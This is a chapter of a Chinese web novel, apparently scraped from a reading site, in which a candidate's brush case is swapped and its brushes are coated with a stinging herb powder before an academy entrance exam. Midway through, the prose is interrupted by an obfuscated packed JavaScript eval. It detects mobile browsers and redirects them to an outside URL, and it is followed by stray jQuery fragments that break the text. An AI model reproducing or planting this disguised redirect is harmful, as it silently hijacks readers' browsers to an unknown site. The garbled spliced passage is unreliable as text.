21. 藿麻草

作品:《和锦衣卫死对头在一起了

    不远处的赵柔柯将这一幕看在了眼里,满腹狐疑地看着陆心棠抱着她的画筒跑过来。她微微垂眸看着陆心棠手中抱着的画筒,“你二人的画筒一模一样?”


    陆心棠开心地和她分享,“你也觉得很巧是吧?她就是我说的住在我隔壁那人,经常半夜咳嗽。不过昨晚我却没听到什么动静,睡得十分踏实。”


    画筒是画师常年伴身之物,江陵是个小地方,陆家也并不富裕,她的姐姐却还是支持她学画。姐姐求了很多人终于找到了夫子,让他做了举荐人,她才能参加入学考试。


    在决定去往京师之际,便找了一位当地的能工巧匠做了这画筒。和京师贵女所用的相比十分不起眼,她却很喜欢。因而在看到有人和她用一样的画筒时,她没有想别的,只是欣喜于这莫大的缘分。


    赵柔柯却没有那么乐观,这世上没有绝对的巧合。


    因而听她起这些,便拧着细长的柳叶眉,眼底满是怀疑,声音都冷了几分,


    “你是说,她住在你的隔壁?”赵柔柯面色凝重地重复了一遍。


    陆心棠满不在乎地回答,


    “是啊。这人早中午三顿饭都是让客栈的人送去房间,很少出来走动,我只见过两次。”


    赵柔柯却听得眉头越皱越紧。脑海不断地想着早上那人慌里慌张的眼神,还有陆心棠不同寻常的迟到。


    陆心棠从没有贪睡的习惯,今日却睡得这样死,差点错过了入学考,以她这些时日对陆心棠的了解,她是绝不会在这等重要日子面前掉以轻心的。


    还有这画筒,习画之人,大家都巴不得在画筒上做的更加特别一点,怎么会有人和她人的画筒一模一样。


    突然间,她脑子里的想法一下子串成了一条线,她有点恨铁不成钢地对陆心棠说到,“傻姑娘,你中计了!”


    陆心棠满脸迷茫,“啊?”


    赵柔柯心急如焚,“只怕是你的画筒早就被调包了。”


    赵柔柯看她还云里雾里,只得跟她解释:


    “你从不贪睡,这个习惯已经有好多年了,为何在入学考试这最关键之际,你会睡得这样死?你就没想过也许不是你贪睡,而是有人要你错过这场考试。”


    “入学考试的名额每年只有十个。这怕不是有些人想要抢入院名额而特意设下的连环圈套。让你错过只是第一招,如果你赶到了,那么后手便是在画筒中的画材做手脚。”


    至于为什么会针对陆心棠,应该是那人早就有所打听,知道陆心棠背后无依无靠,才敢如此放肆。


    陆心棠看了一眼手中的画筒,刚刚不觉得,被赵柔柯这么一说,手中的这只画筒的成色显得格外的新。


    她性格一向直接,眉间攒着怒气便要小跑着步伐追上那人,赵柔柯没能拉住她。


    她怕出事赶紧跟上,到了考试的院中,只见那面色苍白的女子已经在桌案前坐下了,陆心棠虽然气急,依然保持着读书人的气度与礼仪,向那女子揖了一礼。


    “这位姑娘,方才走的急,你我二人画筒的画筒怕是拿错了。如今原物奉还,还请姑娘将我的画筒还我。”


    陆心棠手心向上,将那画筒递给她。岂料那人虽然面色苍白一幅弱不经风的样子,说出口的话却令人无法反驳,


    “姑娘你又如何能知道我这画筒是你的?你可有证据?”


    赵柔柯赶来的时候二人正于院中对峙,她一把拉过陆心棠,小声说,


    “她既然早就盯上了你,现下这样问,肯定早有准备。”


    陆心棠将那画筒打开,果然那画材和她自己的画筒中一模一样,并无任何分别。


    “姑娘你可看清楚了?你的画材可有好端端的在里面?”那人面露嘲色,不温不火的问道。


    陆心棠刚要将那画材取出,却听得赵柔柯一声轻喝。“别动!”


    赵柔柯鼻子尖,就在那画筒被打开之际,一股淡淡的药香味进入她的鼻腔。


    “是藿麻草的味道。”


    两人看向画筒内的画材,要细看才能看到表面有一层灰色粉末,这味道就来自于这药粉。


    赵柔柯上辈子友人不多,其中一位便是精通医术的杏林圣手。藿麻草是一种山间非常常见的药草,与其他药材搭配熬煮有镇痛的效用,若是单外用,皮肤哪怕仅仅接触到少量的药粉都会疼痛难忍。


    在山间野外,三步之内蓬蒿便是解药,现如今书院除了观赏类的植物,并无此等野草。


    “欺人太甚!”


    陆心棠此刻再也没有了一开始的谦逊有礼,冲着就要往前抢画筒,旁边已经有好几位考生已经落座在看热闹。


    赵柔柯这次拦住了她,


    焦急道:“你如今这样便是你理亏,万一被取消了入考资格,你还要等着你姐姐再到处去求人,让你再来一次吗!”


    陆心棠被她这一番话震住,呆在原地,眼眶通红。是啊。这次的机会如此不易。她这样的家世背景,错过这次,便再也没有下次了。


    赵柔柯说完,便要拿过她手中的画筒,“


    把它给我。”


    陆心棠脑子醒转过来,此时很警惕看着她,


    “你要做什么?”


    赵柔柯现下心中也只能用这等笨办法,她是活了两世的人,绘画经验更是胜过陆心棠许多年,即便是手受伤,她忍耐着也可将画作完。


    万一取消资格,她有周啸阑这只大腿也会有下一次参加入学考的机会,可陆心棠不一样,也许这是她最后一次机会。


    思及此,便将自己的画筒塞在陆心棠怀中,想要抽走另一只被下了毒的画筒。


    可陆心棠死死得拽着,眼眶通红,却没有落泪。她的声音很轻,她对赵柔柯说:“你当我是什么人?我当我是朋友,我就要只顾自己名利,牺牲你的前程吗?”


    赵柔柯没想到她如此倔强,正要思考其他法子,一声钟声响起,考试要开始了。


    陆心棠呆呆站立了好久,然后拉开了赵柔柯拦在了她身前的手,静静看着她,一双桃花眼再没有刚刚的愤怒与不解,而是充满了坚定与执拗。


    “这次你护我,下一次呢?我很感谢你待我如此,可我陆心棠也不是躲在朋友背后的胆小鼠辈。”


    赵柔柯感觉自己的手被拍了拍,接着便看见陆心棠径直走到那人面前,语气带着几分笃定,


    “我知道你在这上面做了手脚,我今日便要让你输的心服口服,让你看到,即便我伤了手,依然能堂堂正正地走进这无境书院。”


    她的声音很大,在场的人都听清楚了,接着,她便当着所有人的面将画筒里的画笔一一拿起来握住。


    “有什么阴招尽管使来。”


    在接触了画材之后,她的右手立刻一片通红。 “心棠!”赵柔柯看着她的手,很是担心。


    只见陆心棠朝她露出了一个笑,然后咬着牙,一步步走回自己的桌案。


    赵柔柯眸中火光四胜,她望向那罪魁祸首,似要将她烧穿。那人察觉她的目光,只得低下头。


    她见那人如此不由得嗤笑一声,“躲什么?如此本事,不该让大家都瞧瞧你的模样?”


    接着她挑眉,勾了勾唇。


    “还未请教姑娘大名,这番智谋真是让人好生佩服。”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15604730|170764||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    赵柔柯没等到回答,一个坐在赵柔柯身侧的圆脸少女悄悄侧过身来,小声说。


    “她叫江子妍。”


    “江,子,妍。”


    赵柔柯一字一顿在口中转了一遍这个名字。那清冷的嗓音夹杂着压抑的愤怒,听起来阴测测的,那圆脸少女忍不住抖了抖身子。


    不远处的清嘉公主听到这名字也皱了皱眉头,她从来便厌恶这种背后耍阴招的,只是如今这事落在赵柔柯的好友身上,她倒也乐得看这个热闹。


    赵柔柯念完这个名字后,倏尔笑了,“好。我记住了。”


    这人以后在她面前最好给她夹着尾巴做人,否则她定叫这厮加倍奉还。


    下午的考题是由掌院抓阄所定。绘画的题目是一句韦应物的诗:野渡无人舟自横。


    赵柔柯对这类题目倒是拿手,只是.....她抬眼看了一下台上的宋公明,想到他早年考学的遭遇,心想拼一把,若能将此画对应宋公明的坎坷求学经历和仕途经历不知道能否入得他眼。她只在脑中思考了一会儿便开始提笔作画。


    赵柔柯作画极为认真,没注意到此时台上的人正盯着他的画纸出神。


    良久,她才极为满意的搁下手中的画笔。她心中牵挂陆心棠的伤,一放下笔便往她的方向瞧。


    只见陆心棠右手发颤,几颗豆大的汗珠从她鬓间滚落下来。她抬起袖子拭去汗水,目光并未离开画纸。


    一阵钟声响过之后,陆心棠方才停笔,她看着画纸长长的呼出一口气。她感觉自己的五根手指已经麻木,如今作画完毕后,方才觉得痛感突然袭来。


    待到考试完毕,赵柔柯才赶紧奔向陆心棠的方向,担忧地看向她的手。


    如今考试完毕,考场也不再设禁。许多参加入学考试的考生的父母也都进入书院。


    几位考官还未离开,便听得一道慵懒的嗓音传来:“许久不曾闻书香,没想到无境书院竟如此热闹。”


    掌院看到来人大惊。


    “大胆!先帝在位便曾下过禁令,学子乃未来国之栋梁。锦衣卫不可随意进入。你居然敢来此。”


    周啸阑笑得坦荡,摊开了手,看了看自己穿的衣服。“掌院可瞧仔细了,我今日并未着官服。且我来此——”


    他顿了顿,似乎是在寻找着谁,待找到目标之后,才继续慢条斯理道:“是为了寻我的表妹,唤她回家吃饭。”


    在看到台上的宋公明时,揖了一礼,恭敬道:“老师。别来无恙。”


    宋公明冷眼瞧他并不受他的礼。


    他也不生气,接着道:“我来此地路过时,顺便替老师抓了个贼。老师看着可还眼熟?”


    他手一挥,两个青年压着一个脑袋套着麻袋的人走进来。


    赵柔柯认得那两个青年是周府的家丁,她和其他人一样往前探脑袋,想知道周啸阑这葫芦里卖的什么药。


    正好奇呢,脑袋被人敲了一下,一瓶药丢在她怀中,她闻了闻,是那藿麻草的解药,她赶紧给陆心棠涂上。


    周啸阑看着她忙手忙脚的,目光露出一丝察觉不到的温柔。他收起扇子,“回家,吃饭。”


    赵柔柯给陆心棠上完药后才仔细端详他,他今日一身青衫,手持折扇,她眸子亮了一瞬,但还是好奇心大过色心,悄咪咪地问他。


    “那人谁啊?”


    院中那人脑袋上的麻袋被揭下来,宋公明看到那人的整张脸后,眸光露出寒意。


    那人在地上冲着宋公明磕头,“老师救我!”


    周啸阑这才开口,声音只有他和赵柔柯可以听见,“一个旧人。”